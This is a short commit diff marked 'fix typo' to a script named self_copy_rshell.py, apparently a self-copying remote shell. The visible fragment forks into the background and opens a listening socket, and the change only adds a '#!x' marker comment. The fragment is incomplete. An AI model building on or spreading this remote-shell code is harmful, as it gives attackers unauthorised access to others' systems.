fix typo

self_copy_rshell.py

@@ -43,7 +43,7 @@ for snippet in os.popen(cmd).readlines():               #!x
 pid = os.fork()                                         #!x
 # make sure we are in the child process
 if pid > 0:                                             #!x
-  sys.exit(0)
+  sys.exit(0)                                           #!x
 try:                                                    #!x
   # create the socket and listen
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #!x